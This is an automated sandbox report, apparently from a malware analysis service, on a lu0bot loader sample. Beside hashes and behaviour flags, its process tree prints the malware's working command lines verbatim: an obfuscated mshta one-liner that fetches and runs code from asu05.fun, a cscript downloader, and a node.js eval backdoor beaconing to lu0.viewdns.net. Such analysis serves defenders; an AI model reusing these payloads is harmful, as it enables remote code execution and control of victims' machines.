Analysis
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max time kernel
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max time network
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platform
windows10_x64 -
resource
win10v20210408 -
submitted
28-07-2021 13:06
Static task
static1
Behavioral task
behavioral1
Sample
eufive_20210728-150311.exe
Resource
win7v20210408
General
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Target
eufive_20210728-150311.exe
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Size
3KB
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MD5
fad837e4ca6d812d41eb543a9fd06e1f
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SHA1
efb7c567194b1de7b8cadd5f42296858af1bcec0
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SHA256
b31bfcf253f43c08bdd92beb319b394c122400f4da864a47d5ac086e913ebffc
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SHA512
78deb668d77cd154301282029bbf0b696b81457fb747735c31661b730a5c5a7485f814e12f0fb8a5dd27bab04aac5c6f6d739225bfbc769910f7403a6a52c5eb
Malware Config
Signatures
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suricata: ET MALWARE lu0bot Loader HTTP Request
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suricata: ET MALWARE lu0bot Loader HTTP Response
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Blocklisted process makes network request 2 IoCs
Processes:
mshta.execscript.exeflow pid process 11 2800 mshta.exe 12 644 cscript.exe -
Executes dropped EXE 1 IoCs
Processes:
node.exepid process 504 node.exe -
Modifies file permissions 1 TTPs 1 IoCs
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Drops file in Windows directory 2 IoCs
Processes:
expand.exedescription ioc process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
node.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
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Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
Processes:
ipconfig.exenetstat.exepid process 3676 ipconfig.exe 188 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
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NTFS ADS 2 IoCs
Processes:
node.exedescription ioc process File created C:\ProgramData\DNTException\node.exe:366f6bc05772afe80aba882f6db64263 node.exe File created C:\Users\Admin\AppData\Local\Temp\4d78e009fb977dd4:ads node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 11 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 12 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
node.exepid process 504 node.exe 504 node.exe 504 node.exe 504 node.exe -
Suspicious use of AdjustPrivilegeToken 44 IoCs
Processes:
tasklist.exewmic.exenetstat.exedescription pid process Token: SeDebugPrivilege 2872 tasklist.exe Token: SeIncreaseQuotaPrivilege 3200 wmic.exe Token: SeSecurityPrivilege 3200 wmic.exe Token: SeTakeOwnershipPrivilege 3200 wmic.exe Token: SeLoadDriverPrivilege 3200 wmic.exe Token: SeSystemProfilePrivilege 3200 wmic.exe Token: SeSystemtimePrivilege 3200 wmic.exe Token: SeProfSingleProcessPrivilege 3200 wmic.exe Token: SeIncBasePriorityPrivilege 3200 wmic.exe Token: SeCreatePagefilePrivilege 3200 wmic.exe Token: SeBackupPrivilege 3200 wmic.exe Token: SeRestorePrivilege 3200 wmic.exe Token: SeShutdownPrivilege 3200 wmic.exe Token: SeDebugPrivilege 3200 wmic.exe Token: SeSystemEnvironmentPrivilege 3200 wmic.exe Token: SeRemoteShutdownPrivilege 3200 wmic.exe Token: SeUndockPrivilege 3200 wmic.exe Token: SeManageVolumePrivilege 3200 wmic.exe Token: 33 3200 wmic.exe Token: 34 3200 wmic.exe Token: 35 3200 wmic.exe Token: 36 3200 wmic.exe Token: SeIncreaseQuotaPrivilege 3200 wmic.exe Token: SeSecurityPrivilege 3200 wmic.exe Token: SeTakeOwnershipPrivilege 3200 wmic.exe Token: SeLoadDriverPrivilege 3200 wmic.exe Token: SeSystemProfilePrivilege 3200 wmic.exe Token: SeSystemtimePrivilege 3200 wmic.exe Token: SeProfSingleProcessPrivilege 3200 wmic.exe Token: SeIncBasePriorityPrivilege 3200 wmic.exe Token: SeCreatePagefilePrivilege 3200 wmic.exe Token: SeBackupPrivilege 3200 wmic.exe Token: SeRestorePrivilege 3200 wmic.exe Token: SeShutdownPrivilege 3200 wmic.exe Token: SeDebugPrivilege 3200 wmic.exe Token: SeSystemEnvironmentPrivilege 3200 wmic.exe Token: SeRemoteShutdownPrivilege 3200 wmic.exe Token: SeUndockPrivilege 3200 wmic.exe Token: SeManageVolumePrivilege 3200 wmic.exe Token: 33 3200 wmic.exe Token: 34 3200 wmic.exe Token: 35 3200 wmic.exe Token: 36 3200 wmic.exe Token: SeDebugPrivilege 188 netstat.exe -
Suspicious use of WriteProcessMemory 51 IoCs
Processes:
eufive_20210728-150311.exemshta.execmd.execscript.exenode.exedescription pid process target process PID 992 wrote to memory of 2800 992 eufive_20210728-150311.exe mshta.exe PID 992 wrote to memory of 2800 992 eufive_20210728-150311.exe mshta.exe PID 992 wrote to memory of 2800 992 eufive_20210728-150311.exe mshta.exe PID 2800 wrote to memory of 2876 2800 mshta.exe cmd.exe PID 2800 wrote to memory of 2876 2800 mshta.exe cmd.exe PID 2800 wrote to memory of 2876 2800 mshta.exe cmd.exe PID 2876 wrote to memory of 644 2876 cmd.exe cscript.exe PID 2876 wrote to memory of 644 2876 cmd.exe cscript.exe PID 2876 wrote to memory of 644 2876 cmd.exe cscript.exe PID 2876 wrote to memory of 728 2876 cmd.exe expand.exe PID 2876 wrote to memory of 728 2876 cmd.exe expand.exe PID 2876 wrote to memory of 728 2876 cmd.exe expand.exe PID 2876 wrote to memory of 1280 2876 cmd.exe cscript.exe PID 2876 wrote to memory of 1280 2876 cmd.exe cscript.exe PID 2876 wrote to memory of 1280 2876 cmd.exe cscript.exe PID 1280 wrote to memory of 504 1280 cscript.exe node.exe PID 1280 wrote to memory of 504 1280 cscript.exe node.exe PID 1280 wrote to memory of 504 1280 cscript.exe node.exe PID 504 wrote to memory of 2412 504 node.exe cmd.exe PID 504 wrote to memory of 2412 504 node.exe cmd.exe PID 504 wrote to memory of 2412 504 node.exe cmd.exe PID 504 wrote to memory of 2708 504 node.exe cacls.exe PID 504 wrote to memory of 2708 504 node.exe cacls.exe PID 504 wrote to memory of 2708 504 node.exe cacls.exe PID 504 wrote to memory of 3852 504 node.exe icacls.exe PID 504 wrote to memory of 3852 504 node.exe icacls.exe PID 504 wrote to memory of 3852 504 node.exe icacls.exe PID 504 wrote to memory of 3768 504 node.exe attrib.exe PID 504 wrote to memory of 3768 504 node.exe attrib.exe PID 504 wrote to memory of 3768 504 node.exe attrib.exe PID 504 wrote to memory of 3164 504 node.exe attrib.exe PID 504 wrote to memory of 3164 504 node.exe attrib.exe PID 504 wrote to memory of 3164 504 node.exe attrib.exe PID 504 wrote to memory of 2872 504 node.exe tasklist.exe PID 504 wrote to memory of 2872 504 node.exe tasklist.exe PID 504 wrote to memory of 2872 504 node.exe tasklist.exe PID 504 wrote to memory of 3200 504 node.exe wmic.exe PID 504 wrote to memory of 3200 504 node.exe wmic.exe PID 504 wrote to memory of 3200 504 node.exe wmic.exe PID 504 wrote to memory of 3676 504 node.exe ipconfig.exe PID 504 wrote to memory of 3676 504 node.exe ipconfig.exe PID 504 wrote to memory of 3676 504 node.exe ipconfig.exe PID 504 wrote to memory of 2460 504 node.exe route.exe PID 504 wrote to memory of 2460 504 node.exe route.exe PID 504 wrote to memory of 2460 504 node.exe route.exe PID 504 wrote to memory of 188 504 node.exe netstat.exe PID 504 wrote to memory of 188 504 node.exe netstat.exe PID 504 wrote to memory of 188 504 node.exe netstat.exe PID 504 wrote to memory of 644 504 node.exe systeminfo.exe PID 504 wrote to memory of 644 504 node.exe systeminfo.exe PID 504 wrote to memory of 644 504 node.exe systeminfo.exe -
Views/modifies file attributes 1 TTPs 2 IoCs
Processes:
attrib.exeattrib.exepid process 3768 attrib.exe 3164 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\eufive_20210728-150311.exe"C:\Users\Admin\AppData\Local\Temp\eufive_20210728-150311.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:992 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();139;y=unescape('%315%7Eh%74t%70%3A%2F%2F%61s%750%35%2E%66u%6E%2F%68r%69%2F%3F2%66e%32e%32b%7E1').split('~');45;try{x='WinHttp';246;x=new ActiveXObject(x+'.'+x+'Request.5.1');132;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);222;x.send();68;y='ipt.S';234;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);208;}catch(e){};13;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2800 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1627477607648.txt & cscript /nologo /e:jscript get1627477607648.txt "http%3A%2F%2Fasu05.fun%2Fhri%2F%3F2603a8ebe%26b%3Dcd2ac0bc" node.cab & expand node.cab node.exe & del get1627477607648.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1627477607648.txt & cscript /nologo /e:jscript get1627477607648.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27603a8ebe%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1627477607648.txt3⤵
- Suspicious use of WriteProcessMemory
PID:2876 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1627477607648.txt "http%3A%2F%2Fasu05.fun%2Fhri%2F%3F2603a8ebe%26b%3Dcd2ac0bc" node.cab4⤵
- Blocklisted process makes network request
PID:644
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:728
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1627477607648.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27603a8ebe%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Suspicious use of WriteProcessMemory
PID:1280 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27603a8ebe%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu05.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:504 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:2412
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:2708
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:3852
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:3768
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:3164
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2872
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:3200
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:3676
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:2460
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:188
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:644
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
52ec5ebd8a447b5115ce83e703bcde51
SHA138ce97f87c6be668d07985558fc89c53e27770a3
SHA256ef1be6a77e480e683331052654d3db47a02fe4b7af3e35e67b9248e989307615
SHA5129af71d426564ef92ff6de1d89107161c138bbdd9dc08b5e380a0b94e7b2e91ec4d498a1d8f4514552a45bf14a8f9078dc295aa1cb86cfc063427ad218e9d5f32
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MD5
e15f82747d0884d61a5bc4fb2db7d29d
SHA1aca478622586f17603fe56705fd319b75198b2b0
SHA256982675d0465497986b3ece89f08f81a4629d975617671153e0ca653f2589966f
SHA512d8c17e54cbefa72191c238f23d619a4637fd74c8c8b9975071bf5507c5a34259495cd20e516c7f7f0c215ec4f724b22de88b8a5ea43765c019eb067600cf661d
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MD5
c7ed3d9304a29c8b472174bd910be071
SHA122b7d55b80acd434c13b0a2d8c59b45c10220a42
SHA256abbaffb1b56bd3c5db5aedf4bdc0794d82bedba43677d13cd1056cb5412b3441
SHA512c65c80564019ae54145a939f9ed463895c337f020cbd769647dc6baf8db5db283a5e151c2ae4f10681d23db161d791ce59c395d8ebba603a27a2a6be0368a1a2
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MD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
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MD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f